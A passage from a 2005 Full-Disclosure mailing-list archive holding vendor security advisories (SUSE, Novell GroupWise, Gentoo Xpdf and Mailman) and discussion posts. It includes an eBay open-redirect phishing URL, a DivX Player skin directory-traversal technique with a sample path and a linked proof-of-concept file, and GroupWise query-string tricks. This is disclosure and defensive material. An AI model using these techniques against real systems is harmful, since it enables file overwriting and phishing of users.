ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/kernel-default-2.6.5-7.111.30.x86_64.rpm deaeb48a6815587535b1adddf68131ef source rpm(s): ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/src/kernel-source-2.6.5-7.111.30.src.rpm fdef7eaed76e07a85ebbba9323b64f8d ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/src/kernel-smp-2.6.5-7.111.30.nosrc.rpm 3605a6f50f0d799c73849cb382d786ac ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/src/kernel-default-2.6.5-7.111.30.nosrc.rpm d0410d0e5c32cd44bae3da7b42cac23a SUSE Linux 9.0: ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/kernel-source-2.4.21-273.x86_64.rpm ed6c099957a83fc87abd74e3549e9799 ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/k_deflt-2.4.21-273.x86_64.rpm 18226b51d911e09cd83657c99dd4506f ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/k_smp-2.4.21-273.x86_64.rpm 0489274cc30666eeec2be0127a669530 source rpm(s): ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/kernel-source-2.4.21-273.src.rpm 792149722a14f021aa095ec4fcc33976 ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/k_deflt-2.4.21-273.src.rpm 9279c9a0613473a71057e76ab4b5a0e5 ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/k_smp-2.4.21-273.src.rpm 3bbd006852b9b8aab8a2868d922451d5 ______________________________________________________________________________ 5) pending vulnerabilities in SUSE Distributions and Workarounds: Please refer to our SUSE Security Summary report. ______________________________________________________________________________ 6) standard appendix: authenticity verification, additional information - Package authenticity verification: SUSE update packages are available on many mirror ftp servers all over the world. While this service is being considered valuable and important to the free and open source software community, many users wish to be sure about the origin of the package and its content before installing the package. There are two verification methods that can be used independently from each other to prove the authenticity of a downloaded file or rpm package: 1) md5sums as provided in the (cryptographically signed) announcement. 2) using the internal gpg signatures of the rpm package. 1) execute the command md5sum after you downloaded the file from a SUSE ftp server or its mirrors. Then, compare the resulting md5sum with the one that is listed in the announcement. Since the announcement containing the checksums is cryptographically signed (usually using the key security at suse.de), the checksums show proof of the authenticity of the package. We disrecommend to subscribe to security lists which cause the email message containing the announcement to be modified so that the signature does not match after transport through the mailing list software. Downsides: You must be able to verify the authenticity of the announcement in the first place. If RPM packages are being rebuilt and a new version of a package is published on the ftp server, all md5 sums for the files are useless. 2) rpm package signatures provide an easy way to verify the authenticity of an rpm package. Use the command rpm -v --checksig to verify the signature of the package, where is the filename of the rpm package that you have downloaded. Of course, package authenticity verification can only target an un-installed rpm package file. Prerequisites: a) gpg is installed b) The package is signed using a certain key. The public part of this key must be installed by the gpg program in the directory ~/.gnupg/ under the user's home directory who performs the signature verification (usually root). You can import the key that is used by SUSE in rpm packages for SUSE Linux by saving this announcement to a file ("announcement.txt") and running the command (do "su -" to be root): gpg --batch; gpg < announcement.txt | gpg --import SUSE Linux distributions version 7.1 and thereafter install the key "build at suse.de" upon installation or upgrade, provided that the package gpg is installed. The file containing the public key is placed at the top-level directory of the first CD (pubring.gpg) and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de . - SUSE runs two security mailing lists to which any interested party may subscribe: suse-security at suse.com - general/linux/SUSE security discussion. All SUSE security announcements are sent to this list. To subscribe, send an email to . suse-security-announce at suse.com - SUSE's announce-only mailing list. Only SUSE's security announcements are sent to this list. To subscribe, send an email to . For general information or the frequently asked questions (faq) send mail to: or respectively. ===================================================================== SUSE's security contact is or . The public key is listed below. ===================================================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. In particular, it is desired that the clear-text signature shows proof of the authenticity of the text. SUSE Linux AG makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.7 (GNU/Linux) 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 =Fv2n - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iQEVAwUBQfEaXHey5gA9JdPZAQE8uAf/UDupbQayrLk1Tu6mm0u1FybBMmHmi1nx bj69KQRt5PjjYf1mkxHg65Z69oAjNLIjv+cCX8eJWc164ueiVpXgUzjqLouNgCcU dR266o+ZOlQXlTIv1HDLnU2D2yilOJz/EYk4OeGUh2wZNc+DLW7+rJ49qvPIsWBr ECZpwaOhIBOGicdS8i64b3AKW7gNV09Yru21/A/wn7QVfAAPMzQxDTn4/f2/ttxF 3E3xKURN1J9rSkGZMoX7BXK/4iLVurow8t8g2w6DMedyYvIuSLDyB3IlehLnhPmL uL2lSd1PK0rkGuVI6kTZL2lvDjfq4/CHf4MhHWGwDq88L+irqorMSQ== =xoll -----END PGP SIGNATURE----- From stevex11 at sbcglobal.net Fri Jan 21 16:12:43 2005 From: stevex11 at sbcglobal.net (Steve Kudlak) Date: Fri, 21 Jan 2005 08:12:43 -0800 Subject: [Full-Disclosure] New phishing trick? In-Reply-To: <41EBF79F.5010809@utc.edu> References: <41EBF79F.5010809@utc.edu> Message-ID: <41F129FB.6010906@sbcglobal.net> Jeff Kell wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Here's one I don't recall seeing before... very good looking eBay > phishing notice (can supply full text if anyone wants, but I'll keep > this to the interesting part) with the "money shot" URL consisting of > the following link: > > |

Click below to > | continue :

| > title="https://arribada.ebay.com/saw-cgi/eBayISAPI.dll?PlaceCCInfo&page=0%..." > > | > href="http://cgi4.ebay.com/ws/eBayISAPI.dll?MfcISAPICommand=RedirectToDomain&DomainUrl=http://64.28.111.71/update"> > > | > https://arribada.ebay.com/saw-cgi/eBayISAPI.dll?PlaceCCInfo&page=0%... > > > The "displayed" anchor is https:// and directed at eBay (no surprise) > but the real URL really does go to eBay to a cgi that does a redirect to > the phishing site, with the target of the redirect appearing at the > extreme end of the URL (might have been a little better if obfuscated by > escaped unicoding or similar, but it's plaintext). > > eBay may have tweaked the redirecting cgi by now, but when I checked it > last night it worked (as a general redirect, I didn't examine the > phishing site target itself). > > Jeff > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.0 (MingW32) > > iD8DBQFB6/efot2VatFbXMERAhOUAJ4xuKIJh3IiNVKi2kvd036uNgScqQCeKPzj > V/jt6jY+dd9P5WC1gPbaxLs= > =gA3c > -----END PGP SIGNATURE----- > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > Yeah I got this one. Seeing as I have never had a dealing with ebay there was no way any account I had with them was nor about to try to correct anything. I did as of late get some strange phone calls from a number of companies claiming I was in arrears on all sorts of things. Only one valid, something had got mailed late. But I thought phising only worked by email when the person up to the nasty trick could do it and dissappear, but that it didn't work by phone, because I assume one has to have some bona fides with some bank or clearing house to do this.. Have Fun, Sends Steve From aluigi at autistici.org Fri Jan 21 19:02:34 2005 From: aluigi at autistici.org (Luigi Auriemma) Date: Fri, 21 Jan 2005 19:02:34 +0000 Subject: [Full-Disclosure] Arbitrary files overwriting through skins in DivX Player 2.6 Message-ID: <20050121190234.301ec76b.aluigi@autistici.org> ####################################################################### Luigi Auriemma Application: DivX Player http://www.divx.com/divx/player/ Versions: <= 2.6 Platforms: Windows Bug: arbitrary files overwriting through skins Exploitation: local (or remote through browser) Date: 21 Jan 2005 Author: Luigi Auriemma e-mail: aluigi at autistici.org web: http://aluigi.altervista.org ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== As the name suggests, DivX Player is a Windows player for DivX files. It is included by default in the DivX codec distribuited by DivXNetworks. ####################################################################### ====== 2) Bug ====== The skins used by DivX Player are zip files containing all the needed images and a script file. When the player loads a skin, it unpacks the zip into a folder with the same name of the DPS file located in the temporary system directory. An attacker can overwrite the files on the victim's disk in which is located the temporary folder (usually c:) using the classical directory traversal path like: ..\..\..\..\windows\notepad.exe Can be used both slash and backslash. ####################################################################### =========== 3) The Code =========== http://aluigi.altervista.org/poc/divxplayerbug.dps It overwrites/creates the file c:\folder\divxplayerbug.txt However creating the zip files to exploit the vulnerability is very easy since you need only to modify the names of the files located in the central directory of the zip file (the final part). ####################################################################### ====== 4) Fix ====== No fix. No reply from the vendor. ####################################################################### --- Luigi Auriemma http://aluigi.altervista.org From carlos.ulver at gmail.com Fri Jan 21 17:47:27 2005 From: carlos.ulver at gmail.com (Carlos Ulver) Date: Fri, 21 Jan 2005 15:47:27 -0200 Subject: [Full-Disclosure] Netscape Overflow. In-Reply-To: <10c6adab05012108351617d714@mail.gmail.com> References: <10c6adab05012108351617d714@mail.gmail.com> Message-ID: <10c6adab050121094777e11664@mail.gmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hello, i saw a flaw in IE that using a Javascript it could be possible to crash the browser. Berend-Jan Wever discovered this problem, which consist in the following script: I tested on netscape 7.2 (under windows) and the samething happened. Netscape 7.2 will crash with that script. Thanks, Carlos Ulver. Http://www.debarry2.com.br/carlos My key: http://debarry2.com.br/carlos/contato.htm -----BEGIN PGP SIGNATURE----- Version: PGP 8.0.2 - not licensed for commercial use: www.pgp.com iQA/AwUBQfEuiDgovyLCKuNEEQKJWwCdG3joB1hjk5TM21Zi+Sjscarrff0AoP2z PzLg95wCSBghgOkO0eLXTYJi =vlob -----END PGP SIGNATURE----- From nsb at ceh.ac.uk Fri Jan 21 20:18:51 2005 From: nsb at ceh.ac.uk (Nicolas Bertrand) Date: Fri, 21 Jan 2005 20:18:51 +0000 Subject: [Full-Disclosure] [Fwd: NOVL-2005-10096251 GroupWise WebAccess error handling modules (report)] Message-ID: <41F163AB.4090206@ceh.ac.uk> -------- Original Message -------- Subject: NOVL-2005-10096251 GroupWise WebAccess error handling modules (report) Date: Fri, 21 Jan 2005 12:37:51 -0700 From: Security.Alerts at mailr-k.nerc.ac.uk, Novell at mailr-k.nerc.ac.uk, "Inc." Reply-To: EINFO at novell.com To: nsb at ceh.ac.uk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 For Immediate Disclosure ============================== Summary ============================== Security Alert: NOVL-2005-10096251 Title: GroupWise WebAccess Error modules loading (report) Date: 21-January-2005 Revision: Original Product Name: GroupWise 6.5, GroupWise 6.5 WebAccess OS/Platform(s): NetWare, Windows, Linux Reference URL: http://support.novell.com/servlet/tidfinder/10096251 Vendor Name: Novell, Inc. Vendor URL: http://www.novell.com Security Alerts: http://support.novell.com/security-alerts Affects: login.htt, about.htt Identifiers: BugTraq 387566 - http://www.securityfocus.com/archive/1/387566 Credits: Marc Ruef , but thanks, too, to Pete Connolly for actually notifying Novell's security team ============================ Description ============================ By specifying a query string (?error=, or ?merge=) on the WebAccess login URL (for example http://webacc.company.com/servlet/webacc?merge=about), an unauthenticated user is able get read-only access to various public templates and informational files, including the "about" page for the WebAccess server which includes the version of GroupWise that is installed. ============================== Impact =============================== The server is not granting access to private files, and no files can be modified through this attack. The "about" page which contains the version of the GroupWise software installed is available, however, it is not considered restricted information, since this same information is available on the normal login URL page. Customers that are concerned about the version information being made public can edit login.htt and about.htt template files to remove this information. These templates are located in the following default locations: NetWare - sys:\tomcat\4\webapps\ROOT\WEB-INF\classes\com\novell\webaccess\templates\frames Linux - /var/opt/novell/gw/WEB-INF/classes/com/novell/webaccess/templates/frames Windows - C:\NOVELL\JAVA\SERVLETS\COM\NOVELL\WEBACCESS\TEMPLATES\FRAMES Remove line 313 in login.htt and line 37 in about.htt. Additionally, Novell will be making changes in the next update of GroupWise, version 6.5.4, to address these issues. The changes will be to ignore any query string parameters if the user is not authenticated. Q. What files do non-authenticated users have access to? A. Read only access to template files are allowed, which are stored in a public directory on the server, as well as a version file, which contains the version of the GroupWise software that is installed. There is no security risk in displaying the template files without data--the template files themselves do not contain confidential information. For the GroupWise 6.5.4 release, this will be addressed so that no unauthenticated users will be able to access any information other than the login page. Q. What query strings expose this behavior? A. The "error" query string and the "merge" query string can be used to access read-only versions of the WebAccess templates and the "about" information for the server. Note that there is no user data in these templates since the user is not authenticated. The merge query string works in the following way: when a user is logged in, actions that return data are performed. The resulting data is merged into the template specified by "merge" (or "error" if an error condition occurred) to produce useable output for the authenticated user. In the case where there is no authentication, there is no data to merge into the template. Authentication is not bypassed and there is no generic or "ghost" user logged in. Q. What information or access is inappropriately divulged to unauthenticated users? A. This approach offers no means for accessing restricted files on the server. If the version information about the server is deemed restricted, the administrator can edit the about.htt and login.htt template files to remove this information. These templates are located at template\frames on an installed WebAccess server. Q. Is there any way for an attacker to write data into the server through this method? A. The approach outlined provides no mechanism for modifying data or files on the server. Q. Is it possible to use HTML injection to carry out a social engineering attack? A. This supposition is false as the attack described has no ability to modify data or files on the server in order to inject malicious code into WebAccess pages. ======================== Recommended Actions ======================== See detailed instructions in the referenced Technical Information Document (TID) http://support.novell.com/servlet/tidfinder/10096251 ============================ DISCLAIMER ============================= The content of this document is believed to be accurate at the time of publishing based on currently available information. However, the information is provided "AS IS" without any warranty or representation. Your use of the document constitutes acceptance of this disclaimer. Novell disclaims all warranties, express or implied, regarding this document, including the warranties of merchantability and fitness for a particular purpose. Novell is not liable for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this document or any security alert, even if Novell has been advised of the possibility of such damages and even if such damages are foreseeable. ============================ Appendices ============================= None ================ Contacting Novell Security Alerts ================== To report suspected security vulnerabilities in Novell products, send email to secure at novell.com PGP users may send signed/encrypted information to us using our PGP key, available from the pgpkeys.mit.edu server, or our website at: http://support.novell.com/security-alerts Novell Security Alerts, Novell, Inc. PGP Key Fingerprint: 3C6B 3F26 4E34 1ADF E27B D6C4 1AC8 9184 34D1 9739 (revised) ========================= Revision History ========================== Original: 21-Jan-2005 - Original Publication -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFB8U9JGsiRhDTRlzkRAj9xAJoCdB/5gaMtYh3vre9uDls76KsnngCg7PXz AiVCn6GGHz4krUdAcgQkgrs= =Hfuz -----END PGP SIGNATURE----- From koon at gentoo.org Fri Jan 21 20:39:54 2005 From: koon at gentoo.org (Thierry Carrez) Date: Fri, 21 Jan 2005 21:39:54 +0100 Subject: [Full-Disclosure] [ GLSA 200501-28 ] Xpdf, GPdf: Stack overflow in Decrypt::makeFileKey2 Message-ID: <41F1689A.7070308@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-28 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: Xpdf, GPdf: Stack overflow in Decrypt::makeFileKey2 Date: January 21, 2005 Bugs: #77888, #78128 ID: 200501-28 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== A stack overflow was discovered in Xpdf, potentially resulting in the execution of arbitrary code. GPdf includes Xpdf code and therefore is vulnerable to the same issue. Background ========== Xpdf is an open source viewer for Portable Document Format (PDF) files. GPdf is a Gnome-based PDF viewer that includes some Xpdf code. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 app-text/xpdf <= 3.00-r7 >= 3.00-r8 2 app-text/gpdf < 2.8.2 >= 2.8.2 ------------------------------------------------------------------- 2 affected packages on all of their supported architectures. ------------------------------------------------------------------- Description =========== iDEFENSE reports that the Decrypt::makeFileKey2 function in Xpdf's Decrypt.cc insufficiently checks boundaries when processing /Encrypt /Length tags in PDF files. Impact ====== An attacker could entice an user to open a specially-crafted PDF file which would trigger a stack overflow, potentially resulting in execution of arbitrary code with the rights of the user running Xpdf or GPdf. Workaround ========== There is no known workaround at this time. Resolution ========== All Xpdf users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=app-text/xpdf-3.00-r8" All GPdf users should also upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=app-text/gpdf-2.8.2" References ========== [ 1 ] CAN-2005-0064 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064 [ 2 ] iDEFENSE Advisory http://www.idefense.com/application/poi/display?id=186&type=vulnerabilities&flashstatus=true Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-28.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050121/2f1f51f3/attachment.bin From carlos.ulver at gmail.com Fri Jan 21 21:54:24 2005 From: carlos.ulver at gmail.com (Carlos Ulver) Date: Fri, 21 Jan 2005 19:54:24 -0200 Subject: [Full-Disclosure] Re: Netscape Overflow. In-Reply-To: <2EA0C9D5AD898E4C8D3D1E893DB6270701BA7F76@df-chewy-msg.exchange.corp.microsoft.com> References: <2EA0C9D5AD898E4C8D3D1E893DB6270701BA7F76@df-chewy-msg.exchange.corp.microsoft.com> Message-ID: <10c6adab05012113545cd31409@mail.gmail.com> Ok, here at Ie 6.0.2800.1106 Sp1 crashed. On Fri, 21 Jan 2005 11:54:33 -0800, Thushara Wijeratna wrote: > > > > Not a problem with IE 6.0 Win XP2. Browser mentions "stack overflow" but > doesn't crash. From randallm at fidmail.com Fri Jan 21 23:34:00 2005 From: randallm at fidmail.com (RandallM) Date: Fri, 21 Jan 2005 17:34:00 -0600 Subject: [Full-Disclosure] Scan for IRC Message-ID: <200501212334.j0LNY1rs024688@lists.netsys.com> I am so sorry for interrupting the list. I'm trying to pick up IRC communications on the network. I've made some filters for Ethereal and Observer but can't seem to pick it up. I'm doing something wrong. Used the 6668-6669 ports. Any help? thank you Randall M From fulldisclosure at miggy.org Fri Jan 21 23:54:35 2005 From: fulldisclosure at miggy.org (Athanasius) Date: Fri, 21 Jan 2005 23:54:35 +0000 Subject: [Full-Disclosure] Scan for IRC In-Reply-To: <200501212334.j0LNY1rs024688@lists.netsys.com> References: <200501212334.j0LNY1rs024688@lists.netsys.com> Message-ID: <20050121235435.GB986@miggy.org> On Fri, Jan 21, 2005 at 05:34:00PM -0600, RandallM wrote: > I am so sorry for interrupting the list. I'm trying to pick up IRC > communications on the network. I've made some filters for Ethereal and > Observer but can't seem to pick it up. I'm doing something wrong. Used the > 6668-6669 ports. Any help? Well, default port for IRC is 6667, but many servers offer other ports as well. If you know the networks involved then check their webpages for the list of servers/ports you'll want to monitor. -Ath -- - Athanasius = Athanasius(at)miggy.org / http://www.miggy.org/ Finger athan(at)fysh.org for PGP key "And it's me who is my enemy. Me who beats me up. Me who makes the monsters. Me who strips my confidence." Paula Cole - ME -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 240 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050121/51df493a/attachment.bin From lewk at gentoo.org Sat Jan 22 00:04:21 2005 From: lewk at gentoo.org (Luke Macken) Date: Fri, 21 Jan 2005 19:04:21 -0500 Subject: [Full-Disclosure] [ GLSA 200501-29 ] Mailman: Cross-site scripting vulnerability Message-ID: <20050122000421.GA5970@tomservo.ne1.client2.attbi.c> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-29 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Low Title: Mailman: Cross-site scripting vulnerability Date: January 22, 2005 Bugs: #77524 ID: 200501-29 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Mailman is vulnerable to cross-site scripting attacks. Background ========== Mailman is a Python-based mailing list server with an extensive web interface. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 net-mail/mailman < 2.1.5-r3 >= 2.1.5-r3 Description =========== Florian Weimer has discovered a cross-site scripting vulnerability in the error messages that are produced by Mailman. Impact ====== By enticing a user to visiting a specially-crafted URL, an attacker can execute arbitrary script code running in the context of the victim's browser. Workaround ========== There is no known workaround at this time. Resolution ========== All Mailman users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-mail/mailman-2.1.5-r3" References ========== [ 1 ] CAN-2004-1177 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1177 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-29.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050121/ec37194b/attachment.bin From Shadow333 at gmx.at Sat Jan 22 00:10:11 2005 From: Shadow333 at gmx.at (Oliver Leitner) Date: Sat, 22 Jan 2005 01:10:11 +0100 Subject: [Full-Disclosure] Scan for IRC In-Reply-To: <200501212334.j0LNY1rs024688@lists.netsys.com> References: <200501212334.j0LNY1rs024688@lists.netsys.com> Message-ID: <200501220015.j0M0FLrs027759@lists.netsys.com> from what i know normally irc runs on tcp 6667 assides of that irc can be on any port, so id try to rather block the central big servers instead of going for the port, and dont forget to block all known or unknown web pages that feature webirc portals... well, that are my few thoughts. greetings Oliver 